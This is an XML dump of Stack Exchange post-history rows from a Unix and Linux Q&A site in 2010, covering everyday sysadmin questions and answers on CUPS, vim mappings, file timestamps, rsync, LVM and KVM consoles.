  <row Id="5078" PostHistoryTypeId="2" PostId="2457" RevisionGUID="7419a76e-f396-42ea-8386-64aa7c5dcc06" CreationDate="2010-09-27T09:10:32.950" UserId="33" Text="You have to configure CUPS. Open the CUPS web interface at https://localhost:631 and click on &quot;Add Printer&quot; (don't be scared if it takes a while, it's scanning the network for network printers). If it does not automatically list your printer you can choose &quot;Windows Printer via SAMBA&quot;. As URL enter:&#xD;&#xA;&#xD;&#xA;smb://[workgroup/]server[:port]/printer  (workgroup and port are optional).&#xD;&#xA;&#xD;&#xA;Next you just chose the right model and the printer should work. " />
  <row Id="5079" PostHistoryTypeId="2" PostId="2458" RevisionGUID="e3f42746-1d5b-400f-b2e2-e05375c54fdd" CreationDate="2010-09-27T12:06:48.503" UserId="160" Text="Solved!&#xD;&#xA;&#xD;&#xA;    noremap  &lt;C-PageDown&gt;           :bnext &lt;CR&gt;&#xD;&#xA;    noremap  &lt;C-PageUp&gt;             :bprev &lt;CR&gt;&#xD;&#xA;    inoremap &lt;C_PageDown&gt; &lt;C-\&gt;&lt;C-O&gt;:bnext &lt;CR&gt;&#xD;&#xA;    inoremap &lt;C_PageUp&gt;   &lt;C-\&gt;&lt;C-O&gt;:bprev &lt;CR&gt;" />
  <row Id="5080" PostHistoryTypeId="6" PostId="2442" RevisionGUID="a8e3d7a4-abd8-4171-823b-d463dd225205" CreationDate="2010-09-27T12:10:40.047" UserId="1339" Comment="edited tags" Text="élinuxàéaudioàécdàéripà" />
  <row Id="5081" PostHistoryTypeId="2" PostId="2459" RevisionGUID="4810e360-fe5c-4160-95df-2dd53d3919dd" CreationDate="2010-09-27T12:29:15.963" UserId="1903" Text="How to create a file even root user can't delete it ?" />
  <row Id="5082" PostHistoryTypeId="1" PostId="2459" RevisionGUID="4810e360-fe5c-4160-95df-2dd53d3919dd" CreationDate="2010-09-27T12:29:15.963" UserId="1903" Text="How to create a file even root user can't delete it" />
  <row Id="5083" PostHistoryTypeId="3" PostId="2459" RevisionGUID="4810e360-fe5c-4160-95df-2dd53d3919dd" CreationDate="2010-09-27T12:29:15.963" UserId="1903" Text="élinuxàépermissionsàéfilesà" />
  <row Id="5084" PostHistoryTypeId="2" PostId="2460" RevisionGUID="a9f31bba-cf89-4b6d-b64f-a42251455dde" CreationDate="2010-09-27T12:40:59.807" UserId="33" Text="Simple answer: You can't, root can do everything.&#xD;&#xA;&#xD;&#xA;You can set the &quot;i&quot; attribute with chattr (at least if you are on ext{2,3,4}) which makes a file unchangeable but root can just unset the attribute and delete the file anyways.&#xD;&#xA;&#xD;&#xA;More complex (and ugly hackish workaround):&#xD;&#xA;Put the directory you want unchangeable for root on remote server and mount it via NFS or SMB. If the server does not offer write permissions that locks out the local root account. Of course the local root account could just copy the files over locally, unmount the remote stuff, put the copy in place and change that.&#xD;&#xA;&#xD;&#xA;You cannot lock out root from deleting your files. If you cannot trust your root to keep files intact, you are having a social problem, not a technical one." />
  <row Id="5085" PostHistoryTypeId="2" PostId="2461" RevisionGUID="6b00ee97-b494-493f-901a-e0b6872e3723" CreationDate="2010-09-27T12:47:04.533" UserId="1339" Text="It is a &quot;platform specific problem&quot; :-)&#xD;&#xA;&#xD;&#xA;Mac OS X uses as default shell the [BASH][1] like many other Un*x/Linux systems.&#xD;&#xA;&#xD;&#xA;Mail from your system is stored in mailbox for your user, often located in `/var/mail/$user`&#xD;&#xA;&#xD;&#xA;Because sometimes your mailbox will contain important messages (a failed cronjob task, etc.) you don't to check it every time by yourself.&#xD;&#xA;&#xD;&#xA;The BASH (and many other shells) have a feature called mailcheck, which outputs your message the first time you open your terminal.&#xD;&#xA;&#xD;&#xA;$MAILCHECK is an environment variable which contains the seconds when its time to check for new mail. Mail is also checked before displaying the primary prompt.&#xD;&#xA;See more in `man bash` - [Bash Variables][2].&#xD;&#xA;&#xD;&#xA;To prevent the checks for new mail, you can simply unset $MAILCHECK. The right place for this is your .bashrc file, which will be read when you open up a shell. Its in your user home directory.&#xD;&#xA;&#xD;&#xA;Append to ~/.bashrc:&#xD;&#xA;&#xD;&#xA;    unset MAILCHECK&#xD;&#xA;&#xD;&#xA;to disable the message.&#xD;&#xA;&#xD;&#xA;Of course it is also possible to simply delete the mails like T.J. Crowder mentioned :-)&#xD;&#xA;&#xD;&#xA;  [1]: http://tiswww.case.edu/php/chet/bash/bashtop.html&#xD;&#xA;  [2]: http://www.gnu.org/software/bash/manual/bashref.html#Bash-Variables" />
  <row Id="5086" PostHistoryTypeId="6" PostId="2432" RevisionGUID="fc3f3e24-e5bd-4c66-82e5-a3b03daebc07" CreationDate="2010-09-27T12:47:50.837" UserId="1339" Comment="edited tags" Text="ébashàéterminalà" />
  <row Id="5087" PostHistoryTypeId="5" PostId="2458" RevisionGUID="d926ed1b-5130-4e23-9380-155b302e94e0" CreationDate="2010-09-27T13:59:35.143" UserId="160" Comment="Added some explanation" Text="Solved!&#xD;&#xA;&#xD;&#xA;    noremap  &lt;C-PageDown&gt;           :bnext &lt;CR&gt;&#xD;&#xA;    noremap  &lt;C-PageUp&gt;             :bprev &lt;CR&gt;&#xD;&#xA;    inoremap &lt;C_PageDown&gt; &lt;C-\&gt;&lt;C-O&gt;:bnext &lt;CR&gt;&#xD;&#xA;    inoremap &lt;C_PageUp&gt;   &lt;C-\&gt;&lt;C-O&gt;:bprev &lt;CR&gt;&#xD;&#xA;&#xD;&#xA;In insert mode, anything on the RHS of the key mapping is inserted literally so we need to use `&lt;C-O&gt;` which enters normal mode for a single command.  The `&lt;C-\&gt;` prevents the cursor from moving leftward which occurs when invoking `&lt;C-O&gt;` at the end of a line. &#xD;&#xA;&#xD;&#xA;Also note that you can't have a space between `&lt;C-O&gt;` and `:bnext` else it will be eaten by `&lt;C-O&gt;`." />
  <row Id="5094" PostHistoryTypeId="2" PostId="2464" RevisionGUID="7696eb55-99ab-4327-a4d1-fda6b8880200" CreationDate="2010-09-27T14:45:34.877" UserId="674" Text="I just know that ls -t, -f give different sorting of files and subdirectories under a directory. &#xD;&#xA;&#xD;&#xA;Now I wonder what are  the differences between timestamp, modification time, and created time of a file? How to get and change these kinds of information by commands?&#xD;&#xA;&#xD;&#xA;In terms of what kind of information do people say a file is &quot;newer&quot; than the other? For example, I saw someone wrote:&#xD;&#xA;&gt; By default, the rsync program only looks to see if the files are different in size and timestamp. It doesn't care which file is newer, if it is different, it gets overwritten.&#xD;&#xA;&#xD;&#xA;Thanks and regards!" />
  <row Id="5095" PostHistoryTypeId="1" PostId="2464" RevisionGUID="7696eb55-99ab-4327-a4d1-fda6b8880200" CreationDate="2010-09-27T14:45:34.877" UserId="674" Text="timestamp, modification time, and created time of a file" />
  <row Id="5096" PostHistoryTypeId="3" PostId="2464" RevisionGUID="7696eb55-99ab-4327-a4d1-fda6b8880200" CreationDate="2010-09-27T14:45:34.877" UserId="674" Text="élinuxàéfilesà" />
  <row Id="5097" PostHistoryTypeId="5" PostId="2464" RevisionGUID="43958e83-f358-4efd-9f7c-eacee8205bb0" CreationDate="2010-09-27T14:55:09.407" UserId="674" Comment="added 545 characters in body" Text="I just know that ls -t, -f give different sorting of files and subdirectories under a directory. &#xD;&#xA;&#xD;&#xA;Now I wonder what are  the differences between timestamp, modification time, and created time of a file? How to get and change these kinds of information by commands?&#xD;&#xA;&#xD;&#xA;In terms of what kind of information do people say a file is &quot;newer&quot; than the other? What kinds of information's change will not make the file different? For example, I saw someone wrote:&#xD;&#xA;&gt; By default, the rsync program only looks to see if the files are different in size and timestamp. It doesn't care which file is newer, if it is different, it gets overwritten. You can pass the '--update' flag to rsync which will cause it to skip files on the destination if they are newer than the file on the source, but only so long as they are the same type of file. What this means is that if, for example, the source file is a regular file and the destination is a symlink, the destination file will be overwritten, regardless of timestamp.&#xD;&#xA;Does the file type here mean only regular file and simlink, not the type such as pdf, jpg, htm, txt etc.&#xD;&#xA;&#xD;&#xA;Thanks and regards!" />
  <row Id="5098" PostHistoryTypeId="5" PostId="2161" RevisionGUID="2a510ee6-2462-480e-91f5-d66ab3ee9a05" CreationDate="2010-09-27T15:06:31.923" UserId="12" Comment="Added bonus material before setting a bounty." Text="I am trying to create a directory that will house all and only my PDFs compiled from LaTeX. I like keeping each project in a separate folder, all housed in a big folder called `LaTeX`. So I tried running:&#xD;&#xA;&#xD;&#xA;    rsync -avn *.pdf ~/LaTeX/ ~/Output/&#xD;&#xA;&#xD;&#xA;which should find all the pdfs in `~/LaTeX/` and transfer them to the output folder. This doesn't work. It tells me it's found no matches for &quot;`*.pdf`&quot;. If I leave out this filter, the command lists all the files in all the project folders under LaTeX. So it's a problem with the *.pdf filter. I tried replacing `~/` with the full path to my home directory, but that didn't have an effect.&#xD;&#xA;&#xD;&#xA;I'm, using zsh. I tried doing the same thing in bash and even *with* the filter that listed every single file in every subdirectory... What's going on here?&#xD;&#xA;&#xD;&#xA;Why isn't rsync understanding my pdf only filter?&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;OK. So update: No I'm trying&#xD;&#xA; &#xD;&#xA;    rsync -avn --include=&quot;*/&quot; --include=&quot;*.pdf&quot; LaTeX/ Output/&#xD;&#xA;&#xD;&#xA;And this gives me the whole file list. I guess because everything matches the first pattern..." />
  <row Id="5099" PostHistoryTypeId="2" PostId="2465" RevisionGUID="0d168048-685e-4721-854d-4794f6431d29" CreationDate="2010-09-27T15:18:28.833" UserId="1339" Text="There are 3 kind of &quot;timestamps&quot;:&#xD;&#xA;&#xD;&#xA; - Access - the last time the file was read&#xD;&#xA; - Modify - the last time the file was modified (content has been modified)&#xD;&#xA; - Change - the last time meta data of the file was changed (e.g. permissions)&#xD;&#xA;&#xD;&#xA;To display this information, you can use `stat` which is part of the coreutils.&#xD;&#xA;&#xD;&#xA;`stat` will show you also some more information like the device, inodes, links, etc.&#xD;&#xA;&#xD;&#xA;Remember that this sort of information depends highly on the filesystem and mount options. For example if you mount a partition with the `noatime` option, no access information will be written.&#xD;&#xA;&#xD;&#xA;A utility to change the timestamps would be `touch`.&#xD;&#xA;There are some arguments to decide which timestamp to change (e.g. -a for access time, -m for modification time, etc.) and to influence the parsing of a new given timestamp.&#xD;&#xA;See `[man touch][1]` for more details.&#xD;&#xA;&#xD;&#xA;`touch` can become handy in combination with `cp -u` (*&quot;copy only when the SOURCE file is newer than the destination file or when the destination file is missing&quot;*) or for the creation of empty marker files.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unixhelp.ed.ac.uk/CGI/man-cgi?touch" />
  <row Id="5100" PostHistoryTypeId="5" PostId="2465" RevisionGUID="37120075-0fcb-4b78-802b-935e29114c56" CreationDate="2010-09-27T15:24:35.870" UserId="1339" Comment="edited body" Text="There are 3 kind of &quot;timestamps&quot;:&#xD;&#xA;&#xD;&#xA; - Access - the last time the file was read&#xD;&#xA; - Modify - the last time the file was modified (content has been modified)&#xD;&#xA; - Change - the last time meta data of the file was changed (e.g. permissions)&#xD;&#xA;&#xD;&#xA;To display this information, you can use `stat` which is part of the coreutils.&#xD;&#xA;&#xD;&#xA;`stat` will show you also some more information like the device, inodes, links, etc.&#xD;&#xA;&#xD;&#xA;Remember that this sort of information depends highly on the filesystem and mount options. For example if you mount a partition with the `noatime` option, no access information will be written.&#xD;&#xA;&#xD;&#xA;A utility to change the timestamps would be `touch`.&#xD;&#xA;There are some arguments to decide which timestamp to change (e.g. -a for access time, -m for modification time, etc.) and to influence the parsing of a new given timestamp.&#xD;&#xA;See [`man touch`][1] for more details.&#xD;&#xA;&#xD;&#xA;`touch` can become handy in combination with `cp -u` (*&quot;copy only when the SOURCE file is newer than the destination file or when the destination file is missing&quot;*) or for the creation of empty marker files.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unixhelp.ed.ac.uk/CGI/man-cgi?touch" />
  <row Id="5101" PostHistoryTypeId="2" PostId="2466" RevisionGUID="71aab983-1642-485a-a27c-a8144183ce57" CreationDate="2010-09-27T15:25:08.210" UserId="250" Text="Hello,&#xD;&#xA;&#xD;&#xA;I have just set up a Gentoo base system (which means I can boot and log in and do stuff with it now). My root partition is in an LVM2 virtual group (with a separated `/boot` partition). In order to boot I need to pass the parameters below to the kernel:&#xD;&#xA;&#xD;&#xA;    root=/dev/ram0 real_root=/dev/vg/rootlv init=/linuxrc dolvm&#xD;&#xA;&#xD;&#xA;Apparently it is using an initial ramdisk to do something (I guess loading the LVM things) before mounting root. Is there a way that I can put this code into the kernel itself so that no initrd is needed? If not, how can I make the initrd myself?&#xD;&#xA;&#xD;&#xA;It might be useful to add that I had tried compiling the kernel for non-LVM root, without initrd and it worked perfectly. Then I tried to put the whole thing under LVM and couldn't get the machine to boot (I guess it cannot deal with the LVM stuff). Then I used the `genkernel` tool with the `--lvm` option and it creates the working kernel and initrd that I am currently using.&#xD;&#xA;&#xD;&#xA;Now I want to skip `genkernel` and do everything on my own, preferably without initrd so that the machine will be somewhat faster (I don't need the flexibility anyway)." />
  <row Id="5102" PostHistoryTypeId="1" PostId="2466" RevisionGUID="71aab983-1642-485a-a27c-a8144183ce57" CreationDate="2010-09-27T15:25:08.210" UserId="250" Text="Is it possible to put root in LVM without using initrd?" />
  <row Id="5103" PostHistoryTypeId="3" PostId="2466" RevisionGUID="71aab983-1642-485a-a27c-a8144183ce57" CreationDate="2010-09-27T15:25:08.210" UserId="250" Text="ékernelàébootàérootàéinitrdàélvmà" />
  <row Id="5104" PostHistoryTypeId="6" PostId="2464" RevisionGUID="9c5dfd8e-efac-4d0f-a449-75d739e8046f" CreationDate="2010-09-27T15:33:00.447" UserId="1339" Comment="edited tags" Text="élinuxàéfilesystemsàéfilesà" />
  <row Id="5105" PostHistoryTypeId="5" PostId="2464" RevisionGUID="8e8ae815-dba6-4edb-a9f0-73185b5a65ac" CreationDate="2010-09-27T15:41:02.390" UserId="674" Comment="added 2 characters in body; added 16 characters in body" Text="I just know that ls -t, -f give different sorting of files and subdirectories under a directory. &#xD;&#xA;&#xD;&#xA;Now I wonder what are  the differences between timestamp, modification time, and created time of a file? How to get and change these kinds of information by commands?&#xD;&#xA;&#xD;&#xA;In terms of what kind of information do people say a file is &quot;newer&quot; than the other? What kinds of information's change will not make the file different? For example, I saw someone wrote:&#xD;&#xA;&gt; By default, the rsync program only looks to see if the files are different in size and timestamp. It doesn't care which file is newer, if it is different, it gets overwritten. You can pass the '--update' flag to rsync which will cause it to skip files on the destination if they are newer than the file on the source, but only so long as they are the same type of file. What this means is that if, for example, the source file is a regular file and the destination is a symlink, the destination file will be overwritten, regardless of timestamp.&#xD;&#xA;&#xD;&#xA;On a side note, does the file type here mean only regular file and simlink, not the type such as pdf, jpg, htm, txt etc?&#xD;&#xA;&#xD;&#xA;Thanks and regards!" />
  <row Id="5106" PostHistoryTypeId="2" PostId="2467" RevisionGUID="05fc52b6-979a-4d5f-8e75-7f778af18e57" CreationDate="2010-09-27T16:01:53.283" UserId="674" Text="I was wondering what is the advantage of making all the files and diretories into a archive file for transfer, such as by cpio, instead of transferring them directly, such as by cp, scp?&#xD;&#xA;&#xD;&#xA;Thanks and regards!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5107" PostHistoryTypeId="1" PostId="2467" RevisionGUID="05fc52b6-979a-4d5f-8e75-7f778af18e57" CreationDate="2010-09-27T16:01:53.283" UserId="674" Text="archive files and directories before transfer" />
  <row Id="5108" PostHistoryTypeId="3" PostId="2467" RevisionGUID="05fc52b6-979a-4d5f-8e75-7f778af18e57" CreationDate="2010-09-27T16:01:53.283" UserId="674" Text="élinuxàéfilesà" />
  <row Id="5109" PostHistoryTypeId="2" PostId="2468" RevisionGUID="8c90a396-2745-4267-8f09-cc3e1c9d5de8" CreationDate="2010-09-27T16:15:52.830" UserId="1339" Text="I do this because its often easier to handle one big file, then thousands of small chunks.&#xD;&#xA;&#xD;&#xA;I don't have to calculate checksums for every file, most of the time it is enough to just create a checksum for one archive. &#xD;&#xA;&#xD;&#xA;Also it is easier for me to preserve file permissions.&#xD;&#xA;&#xD;&#xA;These are just some of my reasons." />
  <row Id="5110" PostHistoryTypeId="2" PostId="2469" RevisionGUID="01b8e677-ce3a-4b5a-ae41-402b83efc432" CreationDate="2010-09-27T16:20:42.897" UserId="31" Text="There are a few reasons you might want to tar up a bunch of files before transfer:&#xD;&#xA;&#xD;&#xA; - Compression: You will get better compression by compressing one large file rather than many small files.  At least scp can compress on the fly, but is on a file by file basis.&#xD;&#xA;&#xD;&#xA; - Connections: At least with scp, it makes a new connection for each file it transfers.  This can greatly slow down the throughput if you are transferring many small files.&#xD;&#xA;&#xD;&#xA; - Restart: If your transfer protocol allows restarting a transfer in the middle, it might be easier than figuring out which file was in progress when the transfer was interrupted.&#xD;&#xA;&#xD;&#xA; - Permissions: Most archiving programs let you retain the ownership and permissions of files, which may not be supported in your transfer program.&#xD;&#xA;&#xD;&#xA; - File location: If the destination location is at the end of a long path, or hasn't been decided, it might be useful to transfer an archive to the destination and decide latter where the files should go.&#xD;&#xA;&#xD;&#xA; - Integrity: Its easier to compute and check the checksum for a single archive file than for each file individually." />
  <row Id="5112" PostHistoryTypeId="2" PostId="2471" RevisionGUID="99ce0354-be77-4747-9e3f-5cace5547d9a" CreationDate="2010-09-27T16:32:34.890" UserId="1264" Text="Put it on a CD-rom! ;)&#xD;&#xA;&#xD;&#xA;(this should be a comment but I can't do comments...)" />
  <row Id="5113" PostHistoryTypeId="2" PostId="2472" RevisionGUID="cf3ced7b-68b4-4735-af58-da7d88231c1c" CreationDate="2010-09-27T16:56:01.853" UserId="2023" Text="You can use &lt;code&gt;find&lt;/code&gt; and an intermediate list of files (&lt;code&gt;files_to_copy&lt;/code&gt;) to solve your issue. Make sure you're in your home directory, then:&#xD;&#xA;&#xD;&#xA;&lt;code&gt;find LaTeX/ -type f -a -iname &quot;*.pdf&quot; &gt; files_to_copy &amp;&amp; rsync -avn --files-from=files_to_copy ~/ ~/Output/ &amp;&amp; rm files_to_copy&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;Tested with Bash." />
  <row Id="5114" PostHistoryTypeId="2" PostId="2473" RevisionGUID="822df50c-d718-41ce-b48b-04502d1dc502" CreationDate="2010-09-27T18:28:48.823" UserId="1971" Text="On linux, `last -R $username | awk '/still logged in/ {print $3,$4,$5,$6}'` will return nothing if the user is not logged in, otherwise a date/time list for each active session.&#xD;&#xA;&#xD;&#xA;Other unixes that don't know the `-R` option to last (which supresses the hostname) will need some modification.&#xD;&#xA;" />
  <row Id="5116" PostHistoryTypeId="2" PostId="2475" RevisionGUID="c2e99607-95f1-4f12-9ff4-be24cbf8e788" CreationDate="2010-09-27T19:05:37.703" UserId="663" Text="I'm using [Eucalyptus][1] on Ubuntu 10.04 to set up a private cloud. Sometimes I'm not able to ssh into the VM instances, and I'd like to be able to connect directly to the console of the VM instance. However, by default, that doesn't seem to work through virsh:&#xD;&#xA;&#xD;&#xA;    $ sudo virsh -c qemu:///system console i-486B085E&#xD;&#xA;    No console available for domain&#xD;&#xA;&#xD;&#xA;Is there some way to enable this, for example, by changing the way Eucalyptus generates the XML file that gets passed to libvirt?  &#xD;&#xA;&#xD;&#xA;Here's the libvirt.xml file that Eucalyptus generates:&#xD;&#xA;&#xD;&#xA;    $ cat /var/lib/eucalyptus/instances/admin/i-486B085E/libvirt.xml&#xD;&#xA;    &lt;domain type='kvm'&gt;&#xD;&#xA;        &lt;name&gt;i-486B085E&lt;/name&gt;&#xD;&#xA;        &lt;os&gt;&#xD;&#xA;        &lt;type&gt;hvm&lt;/type&gt;&#xD;&#xA;            &lt;kernel&gt;/var/lib/eucalyptus/instances//admin/i-486B085E/kernel&lt;/kernel&gt;&#xD;&#xA;            &lt;initrd&gt;/var/lib/eucalyptus/instances//admin/i-486B085E/ramdisk&lt;/initrd&gt;&#xD;&#xA;            &lt;cmdline&gt;root=/dev/sda1 console=ttyS0&lt;/cmdline&gt;&#xD;&#xA;        &lt;/os&gt;&#xD;&#xA;        &lt;features&gt;&#xD;&#xA;            &lt;acpi/&gt;&#xD;&#xA;        &lt;/features&gt;&#xD;&#xA;        &lt;memory&gt;262144&lt;/memory&gt;&#xD;&#xA;        &lt;vcpu&gt;1&lt;/vcpu&gt;&#xD;&#xA;        &lt;devices&gt;&#xD;&#xA;            &lt;disk type='file'&gt;&#xD;&#xA;                &lt;source file='/var/lib/eucalyptus/instances//admin/i-486B085E/disk'/&gt;&#xD;&#xA;                &lt;target dev='sda'/&gt;&#xD;&#xA;            &lt;/disk&gt;&#xD;&#xA;            &lt;interface type='bridge'&gt;&#xD;&#xA;                &lt;source bridge='eucabr10'/&gt;&#xD;&#xA;                &lt;mac address='d0:0d:48:6B:08:5E'/&gt;&#xD;&#xA;                &lt;model type='e1000'/&gt;&#xD;&#xA;            &lt;/interface&gt;&#xD;&#xA;            &lt;serial type=&quot;file&quot;&gt;&#xD;&#xA;                &lt;source path='/var/lib/eucalyptus/instances//admin/i-486B085E/console.log'/&gt;&#xD;&#xA;                &lt;target port='1'/&gt;&#xD;&#xA;            &lt;/serial&gt;&#xD;&#xA;        &lt;/devices&gt;&#xD;&#xA;    &lt;/domain&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here's the output of virsh dumpxml:&#xD;&#xA;&#xD;&#xA;    $ sudo virsh dumpxml i-486B085E&#xD;&#xA;    &lt;domain type='kvm' id='3'&gt;&#xD;&#xA;      &lt;name&gt;i-486B085E&lt;/name&gt;&#xD;&#xA;      &lt;uuid&gt;3b762376-4de1-f6ac-7327-9df520fa4862&lt;/uuid&gt;&#xD;&#xA;      &lt;memory&gt;262144&lt;/memory&gt;&#xD;&#xA;      &lt;currentMemory&gt;262144&lt;/currentMemory&gt;&#xD;&#xA;      &lt;vcpu&gt;1&lt;/vcpu&gt;&#xD;&#xA;      &lt;os&gt;&#xD;&#xA;        &lt;type arch='x86_64' machine='pc-0.12'&gt;hvm&lt;/type&gt;&#xD;&#xA;        &lt;kernel&gt;/var/lib/eucalyptus/instances//admin/i-486B085E/kernel&lt;/kernel&gt;&#xD;&#xA;        &lt;initrd&gt;/var/lib/eucalyptus/instances//admin/i-486B085E/ramdisk&lt;/initrd&gt;&#xD;&#xA;        &lt;cmdline&gt;root=/dev/sda1 console=ttyS0&lt;/cmdline&gt;&#xD;&#xA;        &lt;boot dev='hd'/&gt;&#xD;&#xA;      &lt;/os&gt;&#xD;&#xA;      &lt;features&gt;&#xD;&#xA;        &lt;acpi/&gt;&#xD;&#xA;      &lt;/features&gt;&#xD;&#xA;      &lt;clock offset='utc'/&gt;&#xD;&#xA;      &lt;on_poweroff&gt;destroy&lt;/on_poweroff&gt;&#xD;&#xA;      &lt;on_reboot&gt;restart&lt;/on_reboot&gt;&#xD;&#xA;      &lt;on_crash&gt;destroy&lt;/on_crash&gt;&#xD;&#xA;      &lt;devices&gt;&#xD;&#xA;        &lt;emulator&gt;/usr/bin/kvm&lt;/emulator&gt;&#xD;&#xA;        &lt;disk type='file' device='disk'&gt;&#xD;&#xA;          &lt;source file='/var/lib/eucalyptus/instances//admin/i-486B085E/disk'/&gt;&#xD;&#xA;          &lt;target dev='sda' bus='scsi'/&gt;&#xD;&#xA;        &lt;/disk&gt;&#xD;&#xA;        &lt;interface type='bridge'&gt;&#xD;&#xA;          &lt;mac address='d0:0d:48:6b:08:5e'/&gt;&#xD;&#xA;          &lt;source bridge='eucabr10'/&gt;&#xD;&#xA;          &lt;target dev='vnet0'/&gt;&#xD;&#xA;          &lt;model type='e1000'/&gt;&#xD;&#xA;        &lt;/interface&gt;&#xD;&#xA;        &lt;serial type='file'&gt;&#xD;&#xA;          &lt;source path='/var/lib/eucalyptus/instances//admin/i-486B085E/console.log'/&gt;&#xD;&#xA;          &lt;target port='0'/&gt;&#xD;&#xA;        &lt;/serial&gt;&#xD;&#xA;        &lt;console type='file'&gt;&#xD;&#xA;          &lt;source path='/var/lib/eucalyptus/instances//admin/i-486B085E/console.log'/&gt;&#xD;&#xA;          &lt;target port='0'/&gt;&#xD;&#xA;        &lt;/console&gt;&#xD;&#xA;      &lt;/devices&gt;&#xD;&#xA;      &lt;seclabel type='dynamic' model='apparmor'&gt;&#xD;&#xA;        &lt;label&gt;libvirt-3b762376-4de1-f6ac-7327-9df520fa4862&lt;/label&gt;&#xD;&#xA;        &lt;imagelabel&gt;libvirt-3b762376-4de1-f6ac-7327-9df520fa4862&lt;/imagelabel&gt;&#xD;&#xA;      &lt;/seclabel&gt;&#xD;&#xA;    &lt;/domain&gt;&#xD;&#xA;&#xD;&#xA;Here's the full KVM command-line that ends up being invoked: &#xD;&#xA;&#xD;&#xA;    /usr/bin/kvm -S -M pc-0.12 -enable-kvm -m 256 -smp 1 -name i-486B085E -uuid 3b762376-4de1-f6ac-7327-9df520fa4862 -nographic -chardev socket,id=monitor,path=/var/lib/libvirt/qemu/i-486B085E.monitor,server,nowait -monitor chardev:monitor -boot c -kernel /var/lib/eucalyptus/instances//admin/i-486B085E/kernel -initrd /var/lib/eucalyptus/instances//admin/i-486B085E/ramdisk -append root=/dev/sda1 console=ttyS0 -drive file=/var/lib/eucalyptus/instances//admin/i-486B085E/disk,if=scsi,index=0,boot=on -net nic,macaddr=d0:0d:48:6b:08:5e,vlan=0,model=e1000,name=e1000.0 -net tap,fd=55,vlan=0,name=tap.0 -chardev file,id=serial0,path=/var/lib/eucalyptus/instances//admin/i-486B085E/console.log -serial chardev:serial0 -parallel none -usb&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*Note: Cross-posted from [serverfault][2] since question migration isn't supported yet.*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://open.eucalyptus.com&#xD;&#xA;  [2]: http://serverfault.com/questions/183337/connect-to-kvm-instance-using-virsh-when-image-launched-through-eucalyptus" />
  <row Id="5117" PostHistoryTypeId="1" PostId="2475" RevisionGUID="c2e99607-95f1-4f12-9ff4-be24cbf8e788" CreationDate="2010-09-27T19:05:37.703" UserId="663" Text="Connect to KVM instance using virsh when image launched through Eucalyptus?" />
  <row Id="5118" PostHistoryTypeId="3" PostId="2475" RevisionGUID="c2e99607-95f1-4f12-9ff4-be24cbf8e788" CreationDate="2010-09-27T19:05:37.703" UserId="663" Text="ékvmà" />
  <row Id="5119" PostHistoryTypeId="2" PostId="2476" RevisionGUID="28a7c13d-7963-45c4-a97f-43081eb44d1f" CreationDate="2010-09-27T19:08:22.737" UserId="1383" Text="Put your file on a readonly filesystem. This may be a remote FS where root is no longer root, a CD-ROM or a removable device that can be write-protected, e.g., a SD card." />
  <row Id="5120" PostHistoryTypeId="2" PostId="2477" RevisionGUID="c68e5bd7-5bed-4950-b69b-8ffc27e3fbd1" CreationDate="2010-09-27T20:46:05.873" UserId="1207" Text="I'm new to LVM and have been very confused by this:&#xD;&#xA;&#xD;&#xA;I am transfering a large file to a partition that I thought had about 1.5 terabytes of space on it.  Near the end of the transfer, rsync exits with an error claiming that the partition is full.  I investigate and find the following:&#xD;&#xA;&#xD;&#xA;    $ sudo lvm lvs&#xD;&#xA;      LV        VG     Attr   LSize   Origin Snap%  Move Log Copy%  Convert&#xD;&#xA;      home      system -wi-ao  97.66G                                      &#xD;&#xA;      log       system -wi-ao  48.81G                                      &#xD;&#xA;      log.audit system -wi-ao   9.75G                                      &#xD;&#xA;      root      system -wi-ao 341.59G                                      &#xD;&#xA;      swap      system -wi-ao   4.88G                                      &#xD;&#xA;      temp      system -wi-ao  97.66G                                      &#xD;&#xA;      var       system -wi-ao   1.46T  &#xD;&#xA;&#xD;&#xA;This seems to imply that /var (the partition that I'm transfering to, has the amount of storage I expect.  However, then I see:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ sudo df -h&#xD;&#xA;    Filesystem            Size  Used Avail Use% Mounted on&#xD;&#xA;    /dev/mapper/system-root&#xD;&#xA;                          331G  1.3G  313G   1% /&#xD;&#xA;    /dev/mapper/system-temp&#xD;&#xA;                           95G  188M   90G   1% /tmp&#xD;&#xA;    /dev/mapper/system-var&#xD;&#xA;                           95G   90G     0 100% /var&#xD;&#xA;    /dev/mapper/system-home&#xD;&#xA;                           95G  188M   90G   1% /home&#xD;&#xA;    /dev/mapper/system-log&#xD;&#xA;                           48G  264M   45G   1% /var/log&#xD;&#xA;    /dev/mapper/system-log.audit&#xD;&#xA;                          9.5G  340M  8.7G   4% /var/log/audit&#xD;&#xA;    /dev/sda1              99M   25M   70M  26% /boot&#xD;&#xA;    tmpfs                 8.0G     0  8.0G   0% /dev/shm&#xD;&#xA;&#xD;&#xA;I'm guessing this has something to do with the volume being resized at some point.  While I have reliable backups, I'd rather not interrupt services for the time it will take to get the backup and restore.  Thus, is there anyway to make the filesystem seen by the OS match the space available according to lvm without losing data?" />
  <row Id="5121" PostHistoryTypeId="1" PostId="2477" RevisionGUID="c68e5bd7-5bed-4950-b69b-8ffc27e3fbd1" CreationDate="2010-09-27T20:46:05.873" UserId="1207" Text="Why is there a mismatch between size reported by LVM and the size reported by df -h?" />
  <row Id="5122" PostHistoryTypeId="3" PostId="2477" RevisionGUID="c68e5bd7-5bed-4950-b69b-8ffc27e3fbd1" CreationDate="2010-09-27T20:46:05.873" UserId="1207" Text="élvmàédisköusageà" />
